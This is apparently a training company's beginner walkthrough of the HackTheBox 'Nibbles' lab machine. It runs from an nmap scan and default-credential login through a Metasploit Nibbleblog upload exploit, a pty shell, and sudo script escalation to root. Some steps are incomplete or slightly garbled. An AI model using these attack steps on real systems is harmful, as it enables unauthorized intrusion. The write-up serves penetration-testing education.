HackTheBox – Walkthrough of NIBBLE BOX

Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. Nibble is an easy to hack box and suitable for beginners. However, easy it may be, it gives a solid foundation for a beginner to progress.

We will use the following tools to pawn the box on a Kali Linux box

Step 1 – Scanning the network

As an initial step, before you exploit the machine, you need to scan and investigate the machine.

This is important to determine what can be exploited afterwards. It is always better to spend time on this phase to extract maximum information.

Nmap (Network Mapper). Nmap is a free and open-source utility for network discovery and security auditing. Raw IP packets help determine hosts available on the network, services offered by those hosts, operating systems running, packet filters, firewalls in use, and many other characteristics.

Use the following command to get a basic idea of what we are scanning

nmap -sV -sC -A

-sV: Probe open ports to determine service/version info

-sC: Default script sets

-A: Aggressive scan. Enable OS detection, version detection, script scanning, and traceroute IP address of the Nibble box

We can see that there are 2 open ports:

Port 22. SSH

Port 80. HTTP

Step 2 – Exploring the IP address

In the address bar of the browser we visit the IP address of the Nibble box This accesses port 80. We get to see a page with “Hello World!” Upon checking the source, a directory is found, however, no significant information can be gathered.

To move further, we enumerate the directories. A list of directories is obtained, and the most enticing one is the admin directory.

This admin directory leads to a login page. On this login page we try to use the credentials:

Username: admin

Password: nibbles

Hooray! This lets us log in!

Step 3 – Running the Exploit

After logging in, it is found that the version is 4.0.3. We look to find the vulnerabilites for this version in the metasploit framework.

I use the following command in the metasploit framework

search nibbleblog

Metasploit is a penetration testing framework that makes hacking simple. It’s an essential tool for many attackers and defenders.


We use Following command for the exploit.

use exploit/multi/nibble/nibbleblog_file_upload

This will launch the exploit. This command displays the available options.

show options

You can see that the remote host (RHOSTS) is not yet set. RHOSTS will be the victim. Also, TARGETURI, USERNAME & PASSWORD will be set

Following command sets the remote host using the IP address of HTB Nibble box

set password nibbles
set username admin
set targeturi /nibbleblog/

Bingo! A command shell opened. We obtain Metapreter session. 🙂

Step 4 – Looking for the user.txt flag

Following command is used to list all the files/folders


Let’s move to the home folder and see what to find:-

cd \home
cd \nibbler
cat user.txt

Step 5 – Looking for the root.txt flag

Now look for flag root.txt.

To open an interactive python shell the following command is used and a python file is imported to spawn the target system. We are using python3 here.

python3 -c 'import pty;pty.spawn("/bin/bash")'

In the nibbler directory we unzip the personal.zip folder using the following command and find monitor.sh script.

unzip personal.zip
cd personal
cd stuff
ls –al

This monitor.sh has got sudo permission, i.e. authorization to modify this script.

In the sudo terminal, we find that we write and use it as root. If needed, it can be edited. The script is used and root is obtained.

cat root/root.txt

Congrats! You found both flags!

Share the Post...

About Cybervie

Cybervie provides best cyber security training program in hyderabad, India.This cyber security course enables you to detect vulnerablities of a system, wardoff attacks and manage emergency situations. Taking a proactive approach to security that can help organisations to protect their data, Cybervie has designed its training module based on the cyber security industry requirements with three levels of training in both offensive and defensive manner, and use real time scenarios which can help our students to understand the market up-to its standard certification which is an add on advantage for our students to stand out of competition in an cyber security interview.

More Info – Click Here

Recent Posts

Follow Us on Youtube

Cyber Security Training Program 2020

Cyber security Course offered by Cybervie prepares students for a path of success in a highly demanding and rapidly growing field of cyber security. The course is completely designed with an adaptable mindset, where the program allows the student to complete the course work at their own pace while being able to complete weekly assignments. Hence, also making it convenient for busy working professionals to pursue the training to help them advance their career in cyber security.

Cybervie has designed the training module based on the cyber security industry requirements in both offensive and defensive manner, using real time scenarios which help our students to understand the market standards.

Sign up for our Newsletter

Interested in Cyber Security Training Program 2020 – Click Here

Open chat
Hello 👋
How can we help you?